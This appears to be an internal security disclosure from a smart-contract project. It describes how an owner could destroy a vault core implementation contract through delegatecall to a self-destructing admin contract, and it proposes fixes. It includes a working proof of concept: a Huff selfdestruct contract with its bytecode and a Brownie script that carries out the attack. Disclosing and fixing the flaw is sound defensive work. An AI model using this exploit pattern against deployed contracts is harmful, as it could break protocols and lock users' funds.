OIP-5 Protect Vault Core impl from self destruct

[DanielVF]

We need to block the vault core implementation contracts from proxying to the vault admin contract if called directly and not through a proxy.

Impact

Currently the owner of the vault core implementation contract can destroy it, thus breaking the vault until the vault is upgraded to use a new implementation contract. Typically the owner of the vault core implementation would start as a deployer account. The current vault core contract is safely owned by governance, so there is no immediate impact - this is about avoiding future problems.

Explanation

This is because we have multiple layers of proxy contracts making up the vault to overcome contract size limits. The vault proxy delegate calls to the vault core, which can proxy to the vault admin contract.

Because the vault core implementation can delegate call on its own, the owner of it can set the storage slot pointing to the vault admin address to a contract that self destructs, then call the implementation contract, destroying the vault core implementation contract. Without a vault core implementation contract, further vault calls will be broken (and silently succeed).

Fixing

In the short run, I'll need to be sure deploys that affect the vault core hand off ownership to the timelock.

However, this is failure prone, and we will also want to make a contract change to prevent this from happening.

We'll want to immutably store the contract address at deploy time. address immutable private myaddress = address(this); Then, in the vault core, before proxying to the vault admin, we require that we are inside some other proxy before the call with require(myaddress != address(this));

POC

First, we need a contract that will self destruct when called:

In huff this looks like:

#define macro MAIN() = {
   caller selfdestruct
}

and results in a deploy bytecode of 0x60028060093d393df333ff

Then let's test it out.

from world import *
from hexbytes import HexBytes

SELFDESTRUCTBYTECODE = "0x60028060093d393df333ff"
proxy = Contract.from_explorer(vault_core.address, as_proxy_for=vault_core.address, persist=False)
vault_impl = Contract.from_explorer(proxy.implementation())

# 1. Deploy the self destruct contract
a = accounts[0]
dtxh = a._transact({
  'from': a.address,
  "nonce":
  a._pending_nonce(),
  "data": HexBytes(SELFDESTRUCTBYTECODE)}, True)
boomaddress = chain.get_transaction(dtxh.hex()).contract_address
print(boomaddress)

# 2. Set the vault core implementation to proxy admin calls to the self destruct
vault_impl.setAdminImpl(boomaddress, {'from': impl.governor()})

# 3. Destroy the vault core impl contract, by proxying through to the admin contract
tx = a.transfer(impl)

# This no does no work, has no backing impl contract
vault_core.mint(USDC, 400*1e70, 0, {'from': STRATEGIST})

[sparrowDom]

This is a really good point on how the implementation contract owner could cause some serious damage. Another related approach to limiting the implementation contract I have seen is Petrifying the contract. Basically preventing the implementation contract to be initialised in its own Storage Slot location (can only be initialised when proxied).

We could also prevent that the Governor gets set on the implementation contracts upon contract construction. Since those contracts should not be functioning outside the proxy space.